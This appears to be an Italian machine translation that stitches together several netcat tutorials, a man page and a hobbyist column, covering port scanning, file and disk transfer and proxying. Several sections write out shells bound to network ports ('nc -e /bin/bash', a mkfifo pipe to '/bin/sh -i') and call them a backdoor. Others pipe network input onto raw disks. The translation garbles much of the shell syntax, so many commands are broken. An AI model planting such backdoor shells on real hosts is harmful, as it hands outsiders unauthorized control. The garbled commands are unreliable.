Finestre.  Virus.  I Quaderni.  Internet.  ufficio.  Utilità.  Autisti

Originale: Esempi utili di netcat su Linux
Autore: Dan Nanni
Data di pubblicazione: 27 gennaio 2014
Traduzione: A.Panin
Data del trasferimento: 7 settembre 2016

Comunemente definita il "coltellino svizzero" delle reti TCP/IP, l'utilità è uno strumento estremamente flessibile che consente di fare praticamente qualsiasi cosa. azioni possibili con socket TCP/UDP su Linux. È uno degli strumenti più popolari per diagnosticare e sperimentare le reti tra gli amministratori di sistema.

Tieni presente che quando usi nc per accettare connessioni su porte conosciute servizi di rete(0-1023) avrai bisogno dei privilegi di root. In tutti gli altri casi sono sufficienti i normali diritti dell'utente per il corretto funzionamento di nc.

1. Verifica se esiste una porta TCP aperta specifica sull'host remoto

$ nc -vn 192.168.233.208 5000 nc: connessione a 192.168.233.208 5000 (tcp) non riuscita: connessione rifiutata $ nc -v 192.168.233.208 22 Connessione a 192.168.233.208 22 porta riuscita! SSH-2.0-OpenSSH_6.0p1 Debian-4

2. Invio di un pacchetto UDP di prova a un host remoto

Il comando seguente consiste nell'inviare un pacchetto UDP di prova con un ritardo di 1 secondo alla porta 5000 dell'host remoto con l'indirizzo fornito.

$ echo -n "pippo" | nc -u -w1 192.168.1.8 5000

3. Scansione delle porte TCP su un host remoto

Il comando seguente serve per scansionare le porte dagli intervalli ed elencare le porte aperte.

$ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

4. Copia di un file (ad esempio, my.jpg) da un host denominato hostA.com a un host denominato hostB.com

$nc -lp 5000 > mio.jpg

$nc hostB.com 5000< my.jpg

5. Trasferisci la directory (con tutti i contenuti) da hostA.com a hostB.com

Su un host denominato hostB.com (host):

$nc -l 5000 | tarxvf-

Su un host denominato hostA.com (lato trasmittente):

$ tar cvf - /percorso/della/dir | nc hostB.com 5000

6. Scansione delle porte UDP su un host remoto

$ nc -vnzu 192.168.1.8 1-65535 Connessione alla porta 192.168.1.8 68 riuscita! Connessione alla porta 192.168.1.8 5353 riuscita! Connessione alla porta 192.168.1.8 16389 riuscita! Connessione alla porta 192.168.1.8 38515 riuscita! Connessione alla porta 192.168.1.8 45103 riuscita!

Il comando precedente consente di elencare le porte aperte, accettando UDP su un server remoto.

7. In attesa dei dati sulla porta UDP e in uscita dei dati ricevuti in formato testo

Il comando seguente consente di ricevere messaggi (stringhe di testo) su una determinata porta UDP.

$ nc -u host locale 5000

Tienilo presente dato comando completerà il suo lavoro immediatamente dopo aver ricevuto il primo messaggio. Se vuoi ricevere una serie di messaggi dovrai utilizzare ciclo while nel seguente modo:

$ mentre è vero; do nc -u localhost 5000; Fatto

8. Salvataggio di un file immagine (compresso) del disco rigido (ad esempio /dev/sdb) su un server remoto

Su un server remoto:

$nc -lp 5000 | sudo dd of=/backup/sdb.img.gz

Sul nodo locale dove HDD:

$ dd if=/dev/sdb | gzip -c | nc remote_server.com 5000

9. Ripristino del contenuto di un disco rigido da un file immagine compresso salvato su un server remoto

Sull'host locale:

$nc -lp 5000 | gunzip -c | sudo dd of=/dev/sdb

Sul server remoto in cui è archiviato il file immagine di duro disco (ad esempio, /backup/sdb.img.gz):

$ cat /backup/sdb.img.gz | nc my_local_host.com 5000

10. Trasferimento di una pagina web statica simile a un server web

Eseguire il comando seguente per avviare un server Web che servirà una pagina Web denominata test.html ai client che si connettono sulla porta 8000.

$ mentre è vero; fare nc -lp 8000< test.html; done

Verifica ora la disponibilità della pagina web navigando con il tuo browser web su: http:// :8000/prova.html . Tieni presente che per utilizzare la porta numero 80 del server Web standard, dovrai eseguire nc con i privilegi utente radice successiva modo:

$ mentre è vero; fai sudo nc -lp 80< test.html; done

11. Organizzazione di una chat non sicura tra due nodi

Sul primo nodo (192.168.233.203):

$nc -lp 5000

Sul secondo nodo:

$nc 192.168.233.203 5000

Dopo aver eseguito i due comandi precedenti, tutti i caratteri digitati nella finestra del terminale su uno dei nodi appariranno nella finestra del terminale dell'altro nodo.

12. Lancio di una "shell dei comandi remota" che consente di eseguire comandi arbitrari su un host remoto mentre si lavora con un host locale

Sull'host remoto (192.168.233.208):

$ nc -lp 5000 -e /bin/bash

Sull'host locale:

$nc 192.168.233.208 5000

Dopo aver eseguito il comando precedente sull'host locale, sarai in grado di eseguire qualsiasi comando sull'host remoto attraverso la finestra del terminale dell'host locale. I comandi verranno eseguiti sull'host remoto e l'output di questi comandi verrà visualizzato nella finestra del terminale dell'host locale. Questo approccio può essere utilizzato per creare una backdoor su un host remoto.

13. Crea un proxy web per un sito web specifico (ad esempio google.com)

$ mkfifo proxypipe $ while true; do nc -l 5000 0 tubo proxy; Fatto

I comandi precedenti creano una pipe denominata proxypipe e utilizzano l'utilità nc per reindirizzare tutte le connessioni TCP sulla porta 5000 dell'host locale a http://www.google.com tramite una pipe bidirezionale. Dopo aver eseguito questi comandi, sarai in grado di accedere pagina iniziale motore di ricerca Sistemi Google entrando in barra degli indirizzi indirizzo del browser web http://127.0.0.1:5000.

14. Crea un proxy SSL per un sito web specifico (ad esempio google.com)

$ mkfifo proxypipe $ mkfifo proxypipe2 $ nc -l 5000 -k > proxypipe< proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe >proxypipe2; Fatto

I comandi precedenti consentono di utilizzare l'utilità nc per creare un server proxy che supporti Protocollo SSL, che consente di stabilire connessioni al sito web google.com.

15. Trasmetti in streaming il file video dal server e visualizzalo con mplayer sul computer client

Sul server di streaming video (192.168.233.208):

$ gatto video.avi | nc -l 5000

Sul sistema client:

$nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -

16. Accettare connessioni TCP su una porta specifica utilizzando un indirizzo IPv6

I seguenti comandi consentono all'utilità nc di utilizzare un indirizzo IPv6 quando accetta connessioni su una porta TCP. Ciò potrebbe essere necessario nel processo di verifica della correttezza delle impostazioni di indirizzamento IPv6 nella rete.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0:::5000:::* ASCOLTA 4099/nc

Se ti è piaciuto questo articolo, condividilo con i tuoi amici:

Ciao caro lettore X!

Penso che questo disegno possa essere definito un mini-test "Sei un hacker?". Prova a dirlo
significa questo gattino buffo. Ebbene, se sorgono ancora difficoltà, sappi che di fronte a te c'è la cosa più amata da tutte le persone avanzate, in un modo o nell'altro
legato alla Rete e il suo nome è Netcat.

Netcat è un'utilità che ti consente di leggere e trasmettere dati in rete
connessioni. In altre parole, Netcat ti permette di connetterti a qualsiasi cosa e di fare qualsiasi cosa. Netcat è assolutamente autosufficiente, con un uso corretto può sostituirne qualsiasi strumento software, incluso anche a te noto
Apache. Quindi, proprio versione semplice Netcat ti consente di creare TCP e Connessioni UDP da qualsiasi a qualsiasi porta, può "ascoltare" le connessioni in entrata (e puoi dire al "gattino" di attendere le connessioni solo dagli indirizzi e anche dalle porte specificate!), può scansionare le porte, risolvere query DNS, inviare qualsiasi comando da input standard, eseguire in anticipo azioni predefinite, in risposta alla connessione che il "gattino" sta ascoltando, eseguire un Hex-dump dei dati inviati e ricevuti, e molto, molto altro ancora...

Tuttavia, penso che si sarebbe dovuto dire fin dall'inizio che Netcat può fare tutto; e le possibilità del suo utilizzo sono limitate solo dal livello della tua conoscenza e della tua immaginazione. Inizialmente, Netcat è stato concepito come un'utilità Unix, ma come capisci, non potevano esserci appassionati che non avrebbero portato il "gattino" su Windows. Puoi trovare facilmente entrambe le versioni nei motori di ricerca per "Netcat". Ma i vantaggi, ovviamente, vanno agli Unix-oids, che, durante la compilazione, possono modificare leggermente il "gattino" e quindi attivare le "funzionalità aggiuntive" che sono disabilitate per impostazione predefinita.

Se hai mai utilizzato "attacchi software", o semplicemente exploit, probabilmente avrai notato che più della metà di loro utilizza Netcat in un modo o nell'altro. Ciò è dovuto principalmente al fatto che Netcat non modifica mai i dati in entrata (così come i dati in uscita), a differenza, ad esempio, di un client Telnet, che prima interpreta i dati in entrata e solo dopo te li fornisce. Ecco perché Netcat è diventato un potente strumento per trovare e sfruttare le vulnerabilità, grazie al quale Bugtraq è stato riempito con centinaia di nuovi messaggi.

Ma, se la ricerca delle vulnerabilità non è di tuo gradimento, puoi provare a utilizzare Netcat come browser web o, ad esempio, come client di posta elettronica; soprattutto da quando in Internet Explorer-e e Outlook ha trovato buchi "freschi", il buon vecchio Unicode, eh... Inoltre, i nostri ragazzi russi eccellevano in questo campo (!L'orgoglio nazionale sta giocando!). Se stai leggendo questo articolo utilizzando Explorer, vai a vedere come funziona il tuo "Asino"
pieno di buchi .

Successivamente passerai a Netcat: non molto conveniente, ma
sicuro... Ed infine, esempi di utilizzo “avanzato” di Netcat
(Unix):

  1. netcat come ;
  2. Netcat come utilità " "; questi sono spesso descritti in X, ma in realtà non fanno altro che inviare richieste ai motori di ricerca che conosci bene... Anche il tuo "gattino" può fare questo utile lavoro!;
  3. Mi piace Netcat! Fai in modo che il fornitore si prenda una pausa!!!

Fai attenzione, tutto viene fatto sotto forma di script di shell, quindi puoi modificare qualsiasi cosa se necessario.
Per Sim voglio dirti addio. Leggi i manuali e buona fortuna con l'apprendimento dell'iconica utility Netcat!

P.S./Private/: Il sito http://georgy.h1.ru/ è stato chiuso da me. Una volta per tutte. Grazie a tutti coloro che sono stati miei ospiti.


Questo è il secondo post di una serie di articoli sulle utilità Unix che dovresti conoscere. In questo articolo vi presento l'utility netcat o semplicemente nc.

L'utilità Netcat viene spesso definita una sorta di "coltellino svizzero". buon senso questa parola. La funzionalità di netcat è utile quanto la versatilità e la praticità di un collaudato coltellino svizzero tascabile. Alcune delle sue funzionalità includono la scansione delle porte, il trasferimento di file, l'ascolto delle porte e può essere utilizzato come backdoor.

Nel 2006, netcat si è classificata al 4° posto nella classifica 100 Utilities sicurezza della rete", quindi è sicuramente lo strumento da conoscere.

come usare nc

Se ricordi, ho detto che netcat è il coltellino svizzero. Cosa sarebbe questo coltello se non potesse essere usato come un coltello normale? Questo è il motivo per cui netcat può essere utilizzato al posto del normale telnet:

$nc www.google.com 80

In realtà è più conveniente del normale telnet perché puoi terminare la connessione in qualsiasi momento premendo Ctrl+C e gestisce i dati binari come al solito (nessuna sequenza di escape, niente).

È possibile aggiungere l'opzione "-v" per visualizzare i risultati delle azioni in modo più dettagliato e l'opzione (-vv) per ottenere statistiche su quanti byte sono stati trasferiti durante la sessione di connessione corrente.

Netcat può essere utilizzato come server. Se lo esegui come di seguito, ascolterà sulla porta 12345 (su tutte le interfacce):

$nc -l -p 12345

Ora se ti connetti alla porta 12345 di questo host, qualunque cosa digiti verrà inviata al lato remoto, il che ci dice che netcat può essere utilizzato come server di chat. Esegui su uno dei computer:

# Sul computer A con IP 10.10.10.10 $ nc -l -p 12345

E connettiti ad esso da un altro:

# Sul computer B$nc 10.10.10.10 12345

Ora entrambe le parti possono parlare!

Questo modo di parlare, in cui entrambe le parti possono parlare tra loro, rende possibile l'utilizzo di nc per le operazioni di I/O di rete! Ad esempio, è possibile inviare un'intera directory da un computer a un altro collegando tar tramite nc sul primo computer e reindirizzando l'output a un altro processo tar sul secondo.

Supponiamo di voler trasferire file dalla directory /data del computer A con IP 192.168.1.10 al computer B (con qualsiasi IP). È semplice:

# Sulla macchina A con IP 192.168.1.10 $ tar -cf - /data | nc -l -p 6666 # Sul computer B $ nc 192.168.1.10 6666 | tar-xf-

Non dimenticare di combinare la pipeline con il Pipe Viewer descritto nell'articolo precedente per vedere le statistiche sulla velocità del trasferimento!

Un singolo file può essere inviato più semplicemente:

# Sul computer A con IP 192.168.1.10 $ cat file | nc -l -p 6666 # Sulla macchina B $ nc 192.168.1.10 6666 > file

Puoi anche copiare e ripristinare un intero disco utilizzando nc:

# Sulla macchina A con IP 192.168.1.10 $ cat /dev/hdb | nc -l -p 6666 # Sulla macchina B $ nc 192.168.1.10 6666 > /dev/hdb

Nota: l'opzione "-l" non può essere utilizzata con "-p" sui computer Mac! La soluzione è semplicemente sostituire “-l -p 6666? con “-l 6666?. Come qui:

# ora nc è in ascolto sulla porta 6666 per Computer Mac$nc -l 6666

Un uso eccezionale di netcat è la scansione delle porte. Netcat no strumento migliore per tale lavoro, ma se la cava (il migliore, ovviamente, è nmap):

$ nc -v -n -z -w 1 192.168.1.2 1-1000 (Sconosciuto) 445 (microsoft-ds) aperto (Sconosciuto) 139 (netbios-ssn) aperto (Sconosciuto) 111 (sunrpc) aperto (Sconosciuto) 80 ( www) aperto (SCONOSCIUTO) 25 (smtp): connessione scaduta (SCONOSCIUTO) 22 (ssh) aperto

L'opzione "-n" impedisce le ricerche DNS, "-z" non attende una risposta dal server e "-w 1? imposta il timeout della connessione su 1 secondo.

Un altro uso non banale di netcat è come proxy. È possibile inoltrare sia la porta che l'host. Guarda questo esempio:

$nc -l -p 12345 | www.google.com 80

Questo comando avvia nc sulla porta 1234 e reindirizza tutte le connessioni a google.com:80. Se ora ti connetti a questo computer sulla porta 12345 ed effettui una richiesta, scoprirai che non riceverai alcun dato in risposta. Questo è corretto perché non abbiamo impostato un canale bidirezionale. Se aggiungi un secondo canale, riceverai i tuoi dati su una porta diversa:

$nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

Dopo aver inviato una richiesta sulla porta 12345, ricevi i dati di risposta sulla porta 12346.

Probabilmente la caratteristica più potente di netcat è eseguire qualsiasi processo come server:

$ nc -l -p 12345 -e /bin/bash

L'opzione "-e" genera l'esecuzione di input e output reindirizzati tramite un socket di rete. Ora se ti connetti all'host sulla porta 12345 puoi usare bash:

$ nc localhost 12345 ls -las totale 4288 4 drwxr-xr-x 15 utenti pkrumins 4096 2009-02-17 07:47 . 4 drwxr-xr-x 4 utenti pkrumins 4096 2009-01-18 21:22 .. 8 -rw------- 1 utenti pkrumins 8192 2009-02-16 19:30 .bash_history 4 -rw-r- -r-- 1 pkrumins utenti 220 2009-01-18 21:04 .bash_logout ...

Le implicazioni sono che nc è uno strumento popolare per gli hacker ed è molto facile creare una backdoor con esso. SU Server Linux puoi eseguire /bin/bash e su Windows cmd.exe e avere il pieno controllo nelle tue mani.

Questo è tutto quello che volevo dire. Conosci altri trucchi utili di Netcat che non sono trattati qui?

Come installare NC?

Se hai Debian o un sistema basato su Debian come Ubuntu, procedi come segue:

$ sudo aptitude installa netcat

Se hai Fedora o un sistema basato su Fedora come CentOS, esegui:

$ sudo yum installa netcat

Se hai Slackware, FreeBSD, NetBSD, Solaris o Mac, scarica i sorgenti nc e fai:

$ tar -zxf nc-version.tar.gz $ cd nc-version $ ./configure && sudo make install

Un altro modo per farlo su un Mac se disponi di MacPorts:

$ sudo porta installa netcat

Su Slackware, puoi installarlo come pacchetto dalla directory dei pacchetti:

$ sudo installpkg nc-1.10-i386-1.tgz

Se hai Windows, scarica il port di Windoze da securityfocus.

Il manuale dell'utilità può essere trovato in man nc.

Goditi il ​​tuo tempo con nc, fino alla prossima volta!

nc [-46bCDdhklnrStUuvZz] [-I lunghezza][-io intervallo][-O lunghezza][-P nome_utente_proxy][-P porta_origine][-Q secondi][-S fonte][-T la parola chiave][-V rtable] [-w tempo scaduto][-X protocollo_proxy][-X indirizzo_proxy[:porta]] [destinazione] [porta]

Opzioni

-4 forze nc per utilizzare solo indirizzi IPv4.
-6 forze nc per utilizzare solo indirizzi IPv6.
-B Consenti trasmissione.
-C Invia come fine riga.
-D Abilita il debug sul socket.
-D Non tentare di leggere da stdin .
-H Stampa l'aiuto nc.
-IO lunghezza Specifica la dimensione del buffer di ricezione TCP.
-io intervallo Specifica un intervallo di tempo di ritardo tra le righe di testo inviate e ricevute. Inoltre, provoca un ritardo tra le connessioni a più porte.
-K forze nc per rimanere in ascolto per un'altra connessione dopo che la connessione corrente è stata completata. È un errore utilizzare questa opzione senza il file -l opzione.
-l Utilizzato per specificarlo nc dovrebbe attendere una connessione in entrata anziché avviare una connessione a un host remoto. È un errore utilizzare questa opzione insieme a -P, -S, O -z opzioni. Inoltre, eventuali timeout specificati con il file -w le opzioni vengono ignorate.
-N Non eseguire ricerche DNS o servizi su indirizzi, nomi host o porte specificati.
-O lunghezza Specifica la dimensione del buffer di invio TCP.
-P nome_utente_proxy Specifica un nome utente da presentare a un server proxy che richiede l'autenticazione. Se non viene specificato alcun nome utente, l'autenticazione non verrà tentata. Al momento l'autenticazione proxy è supportata solo per i proxy HTTP CONNECT.
-P porta_origine Specifica la porta di origine che nc deve utilizzare, soggetta a limitazioni di privilegi e disponibilità.
-Q secondi dopo EOF su stdin, attendi il numero di secondi specificato e poi esci. Se i secondi sono negativi, attendi per sempre.
-R Specifica che le porte di origine o di destinazione devono essere scelte in modo casuale anziché sequenziale all'interno di un intervallo o nell'ordine in cui le assegna il sistema.
-S Abilita l'opzione di firma RFC 2385 TCP MD5.
-S fonte Specifica l'interfaccia utilizzata per inviare i pacchetti. Per i socket di datagrammi del dominio UNIX, specifica il file socket temporaneo locale da creare e utilizzare in modo che i datagrammi possano essere ricevuti. È un errore utilizzare questa opzione insieme a -l opzione.
-T la parola chiave Modifica il valore TOS IPv4. la parola chiave potrebbe essere uno di critico, inetcontrol, basso costo, basso ritardo, netcontrol, portata, affidabilità o uno dei punti codice DiffServ: ef, af11 ... af43, cs0 ... cs7; o un numero in formato esadecimale o decimale.
-T Cause nc per inviare risposte RFC 854 DON"T e WON"T alle richieste RFC 854 DO e WILL. Ciò rende possibile utilizzare nc per creare script di sessioni telnet.
-U Specifica l'utilizzo dei socket del dominio UNIX.
-u Utilizza UDP invece dell'opzione predefinita di TCP. Per i socket del dominio UNIX, utilizzare un socket di datagramma anziché un socket di flusso. Se viene utilizzato un socket di dominio UNIX, viene creato un socket di ricezione temporaneo in /tmp a meno che il file -S viene data la bandiera.
-V rtable Imposta la tabella di routing da utilizzare. Il valore predefinito è 0.
-v Avere nc fornire un output più dettagliato.
-w tempo scaduto Connessioni che non possono essere stabilite o che sono inattive timeout dopo timeout secondi. IL -w flag non ha alcun effetto sul file -l opzione, cioè nc ascolterà per sempre una connessione, con o senza -w bandiera. L'impostazione predefinita non prevede alcun timeout.
-X protocollo_proxy Richiede che nc utilizzi il protocollo specificato quando comunica con il server proxy. I protocolli supportati sono " 4 " (CALZE v.4), " 5 " (CALZE v.5) e " Collegare" (proxy HTTPS). Se il protocollo non è specificato, viene utilizzata la versione 5 di SOCKS.
-X indirizzo_proxy[:porta] Lo richiede nc dovrebbe connettersi alla destinazione utilizzando un proxy su indirizzo_proxy E porta. Se porta non viene specificato, viene utilizzata la porta nota per il protocollo proxy (1080 per SOCKS, 3128 per HTTPS).
-Z Modalità DCCP.
-z Specifica che nc dovrebbe cercare solo i demoni in ascolto, senza inviare loro alcun dato. È un errore utilizzare questa opzione insieme a -l opzione.

destinazione può essere un indirizzo IP numerico o un nome host simbolico (a meno che il file -N viene data l'opzione). In generale è necessario specificare una destinazione, a meno che il file -l viene fornita l'opzione (nel qual caso viene utilizzato l'host locale). Per i socket del dominio UNIX, è richiesta una destinazione ed è il percorso del socket a cui connettersi (o su cui ascoltare se il file -l viene data l'opzione).

port può essere un singolo numero intero o un intervallo di porte. Gli intervalli sono nel modulo nn-mm. In generale, è necessario specificare una porta di destinazione, a meno che il file -U viene data l'opzione.

Modello client/server

È abbastanza semplice creare un modello client/server molto semplice utilizzando nc. Su una console, avvia nc in ascolto su una porta specifica per una connessione. Per esempio:

NC -l 1234

nc ora è in ascolto sulla porta 1234 per una connessione. Su una seconda console (o una seconda macchina), connettiti alla macchina e alla porta in ascolto su:

NC 127.0.0.1 1234

Ora dovrebbe esserci una connessione tra le porte. Qualunque cosa digitata sulla seconda console verrà concatenata alla prima e viceversa. Dopo che la connessione è stata stabilita nc non gli importa quale lato viene utilizzato come "server" e quale come "client". La connessione può essere terminata utilizzando un EOF (" ^D’).

Non c'è -C O -e opzione nel moderno netcat, ma puoi comunque eseguire un comando dopo aver stabilito la connessione reindirizzando i descrittori di file. Fai attenzione qui perché aprire una porta e consentire a chiunque sia connesso di eseguire comandi arbitrari sul tuo sito è PERICOLOSO. Se hai davvero bisogno di farlo, ecco un esempio:

Sul lato "server":

Rm-f /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

Dal lato "cliente":

nc host.esempio.com 1234

(prompt della shell da host.example.com)

Inizia utilizzando nc per ascoltare su una porta specifica, con l'output catturato in un file:

nc -l 1234 > nomefile.out

Utilizzando una seconda macchina, collegarsi all'ascolto nc processo, alimentandogli il file da trasferire:

nc host.esempio.com 1234< filename.in

Una volta trasferito il file, la connessione si chiuderà automaticamente.

Parlare con i server

A volte è utile parlare con i server "manualmente" anziché tramite un'interfaccia utente. Può aiutare nella risoluzione dei problemi, quando potrebbe essere necessario verificare quali dati un server sta inviando in risposta ai comandi emessi dal client. Ad esempio, per recuperare la home page di un sito web:

Printf "GET / HTTP/1.0\r\n\r\n" | nc host.esempio.com 80

Tieni presente che questo mostra anche le intestazioni inviate da la rete server. Possono essere filtrati utilizzando uno strumento come sed, se necessario.

È possibile creare esempi più complicati quando l'utente conosce il formato delle richieste richieste dal server. Come altro esempio, un'e-mail può essere inviata a un server SMTP utilizzando:

NC [-C] host locale 25<< EOF HELO host.example.com MAIL FROM:< >RCPT A:< >DATI Corpo dell'e-mail. . ESCI DA EOF

scansione delle porte

Potrebbe essere utile sapere quali porte sono aperte e quali servizi eseguono su una macchina di destinazione. IL -z la bandiera può essere usata per dirlo nc per segnalare porte aperte, anziché avviare una connessione. Di solito è utile attivare l'output dettagliato su stderr utilizzando questa opzione insieme a -v opzione.

Nc -zv host.example.com 20-30 Connessione alla porta host.example.com 22 riuscita! Connessione alla porta host.example.com 25 riuscita!

L'intervallo di porte è stato specificato per limitare la ricerca alle porte 20 - 30 e viene scansionato in ordine crescente.

Puoi anche specificare un elenco di porte da scansionare, ad esempio:

nc -zv host.example.com 80 20 22 nc: connessione a host.example.com 80 (tcp) non riuscita: connessione rifiutata nc: connessione a host.example.com 20 (tcp) non riuscita: connessione rifiutata Connessione a host.example.com Il trasferimento .com è riuscito!

Le porte vengono scansionate in base all'ordine fornito.

In alternativa, potrebbe essere utile sapere quale software server è in esecuzione e quali versioni. Queste informazioni sono spesso contenute nei banner di auguri. Per recuperarli è necessario prima stabilire una connessione, e poi interrompere la connessione una volta recuperato il banner. Ciò può essere ottenuto specificando un piccolo timeout con il comando -w flag, o magari inviando un comando "QUIT" al server:

Echo "QUIT" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Mancata corrispondenza del protocollo. 220 host.example.com Ricevitore SMTP IMS versione 0.84 Pronto

Esempi

nc -p 31337 -w 5 host.esempio.com 42

Apre una connessione TCP alla porta 42 Di host.esempio.com, utilizzando la porta 31337 come porta di origine, con un timeout di 5 secondi.

nc -u host.esempio.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.esempio.com 42

Come nell'esempio precedente, ma questa volta abilitando l'autenticazione proxy con nome utente " ruser"se la procura lo richiede.

relativi comandi

ifconfig- Visualizza o modifica la configurazione delle interfacce di rete.

In questo articolo esaminerò la popolare utility di rete netcat e alcuni trucchi utili per utilizzarla.


Netcat è un'utilità Unix che consente di stabilire connessioni TCP e UDP, ricevere dati da lì e trasmetterli. Nonostante la sua utilità e semplicità, molti non sanno come usarlo e lo bypassano ingiustamente.


Utilizzando questa utilità, è possibile eseguire alcuni passaggi durante l'esecuzione dei test di penetrazione. Ciò può essere utile quando la macchina attaccata non ha (o attirerà l'attenzione) pacchetti installati, ci sono restrizioni (ad esempio, dispositivi IoT/embedded), ecc.


Cosa si può fare con netcat:

  • Scansiona le porte;
  • Porti di andata;
  • Raccogliere banner di servizio;
  • Porta di ascolto (associazione per connessione inversa);
  • Scaricare e caricare file;
  • Genera contenuto HTTP non elaborato;
  • Crea una mini chat.

In generale, utilizzando netcat, è possibile sostituire parte delle utilità Unix, quindi questo strumento può essere considerato una sorta di combinazione per eseguire determinate attività.

Esempi pratici

In molti casi, se è necessario controllare un particolare host, utilizzano telnet o i propri servizi per identificare l'host o il banner. Come netcat può aiutarci:

Verifica della porta TCP 12345 aperta

$nc -vn 192.168.1.100 12345
nc: connessione a 192.168.1.100 12345 (tcp) non riuscita: connessione rifiutata

$ nc -v 192.168.1.100 22
Connessione alla porta 192.168.1.100 22 riuscita!
SSH-2.0-OpenSSH

Scansione delle porte TCP con netcat:

$nc -vnz 192.168.1.100 20-24

Con tale scansione non ci sarà alcuna connessione alla porta, ma solo l'output di una connessione riuscita:


nc: connessione a 192.168.1.100 porta 20 (tcp) non riuscita: connessione rifiutata
nc: connessione a 192.168.1.100 porta 21 (tcp) non riuscita: connessione rifiutata
trovato 0 associazioni
trovato 1 collegamenti:
1: bandiere=82
outif en0
origine 192.168.1.100 porta 50168
dst 192.168.1.100 porta 22
informazioni sulla classifica non disponibili
Informazioni ausiliarie TCP disponibili
Connessione alla porta 22 192.168.1.100 riuscita!
nc: connectx alla porta 192.168.1.100 porta 23 (tcp) non riuscita: connessione rifiutata
nc: connectx alla porta 192.168.1.100 porta 24 (tcp) non riuscita: connessione rifiutata

Scansione delle porte UDP.

Sono necessari i privilegi di root per scansionare le porte UDP con nmap. Se non ci sono, in questo caso ci può aiutare anche l'utility netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Connessione alla porta 192.168.1.100 5555 riuscita!

Invio di un pacchetto UDP

$ echo -n "pippo" | nc -u -w1 192.168.1.100 161

Questo può essere utile quando si interagisce con i dispositivi di rete.

Ricezione dei dati sulla porta UDP ed emissione dei dati ricevuti

$nc -uhostlocale7777

Dopo il primo messaggio, l'output verrà interrotto. Se devi ricevere più messaggi, devi utilizzare while true:


$ mentre è vero; do nc -u localhost 7777; Fatto

Trasferimento di file. Usando netcat, puoi sia ricevere file che trasferire file su un host remoto:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact come semplice server web.

Netcat può fungere da semplice server web per visualizzare pagine html.


$ mentre è vero; fare nc -lp 8888< index.html; done

Utilizzando un browser all'indirizzo: http://netcat host:8888/index.html. Per utilizzare la porta numero 80 del server web standard, dovrai eseguire nc con privilegi di root:


$ mentre è vero; fai sudo nc -lp 80< test.html; done

Chatta tra i nodi

Sul primo nodo (192.168.1.100):


$nc-lp 9000

Sul secondo nodo:


$nc 192.168.1.100 9000

Dopo aver eseguito i comandi, tutti i caratteri immessi nella finestra del terminale su uno qualsiasi dei nodi appariranno nella finestra del terminale dell'altro nodo.

Guscio inverso

Usando netcat, puoi organizzare una comoda shell inversa:


nc -e /bin/bash -lp 4444

Ora puoi connetterti dall'host remoto:


$nc 192.168.1.100 4444

Non bisogna arrendersi se non ci sono determinati strumenti, spesso piuttosto ingombranti, a volte il compito può essere risolto con mezzi improvvisati.

Se noti un errore, seleziona una porzione di testo e premi Ctrl + Invio
CONDIVIDERE: